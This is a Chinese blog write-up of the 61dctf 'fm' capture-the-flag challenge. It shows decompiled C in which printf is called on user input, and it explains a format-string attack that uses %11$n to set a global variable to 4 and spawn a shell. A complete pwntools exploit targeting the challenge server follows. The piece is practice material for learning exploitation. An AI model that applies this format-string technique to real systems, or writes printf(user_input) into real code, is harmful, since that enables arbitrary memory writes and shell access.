当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895
checksec Canary found栈溢出行不通
main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11
通过动态调试,把x的值设置为0x4,运行后确实得到shell
exp
from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- 详解SQL中Groupings Sets 语句的功能和底层实现逻辑
- CISP-PTE之PHP伪协议总结
- Cartoon: what is the eight queens problem?
- 数据湖(十四):Spark与Iceberg整合查询操作
- ES6深入—async 函数 与 Symbol 类型
- [echart] resize lodash 实现窗口缩放时图表自适应
- ES6 drill down - Async functions and symbol types
- Quelques réflexions cognitives
- 漫画:什么是分布式事务?
- How to set the WiFi password of the router on the computer
猜你喜欢
Seaborn绘制11个柱状图
Accès aux données - intégration du cadre d'entité
Migrate /home partition
Research and development efficiency measurement index composition and efficiency measurement methodology
详解SQL中Groupings Sets 语句的功能和底层实现逻辑
数据湖(十四):Spark与Iceberg整合查询操作
解决CMakeList find_package找不到Qt5,找不到ECM
Data access - entityframework integration
Win11如何给应用换图标?Win11给应用换图标的方法
Win11 prompt: what if the software cannot be downloaded safely? Win11 cannot download software safely
随机推荐
Data access - entityframework integration
The memory of a Zhang
Practice independent and controllable 3.0 and truly create the open source business of the Chinese people
给自己打打气
Flet教程之 12 Stack 重叠组建图文混合 基础入门(教程含源码)
搜索 正排索引 和 倒排索引 区别
Fleet tutorial 09 basic introduction to navigationrail (tutorial includes source code)
[js] skill simplification if empty judgment
怎样在电脑上设置路由器的WiFi密码
"21 days proficient in typescript-3" - install and build a typescript development environment md
如何将mysql卸载干净
帮忙看看是什么问题可以吗?[ERROR] Could not execute SQL stateme
降本40%!Redis多租户集群的容器化实践
漫画:什么是服务熔断?
【漏洞预警】CVE-2022-26134 Confluence 远程代码执行漏洞POC验证与修复过程
Today's sleep quality record 79 points
EDI许可证和ICP经营性证有什么区别
Intel 13th generation Raptor Lake processor information exposure: more cores, larger cache
中间表是如何被消灭的?
Facing new challenges and becoming a better self -- attacking technology er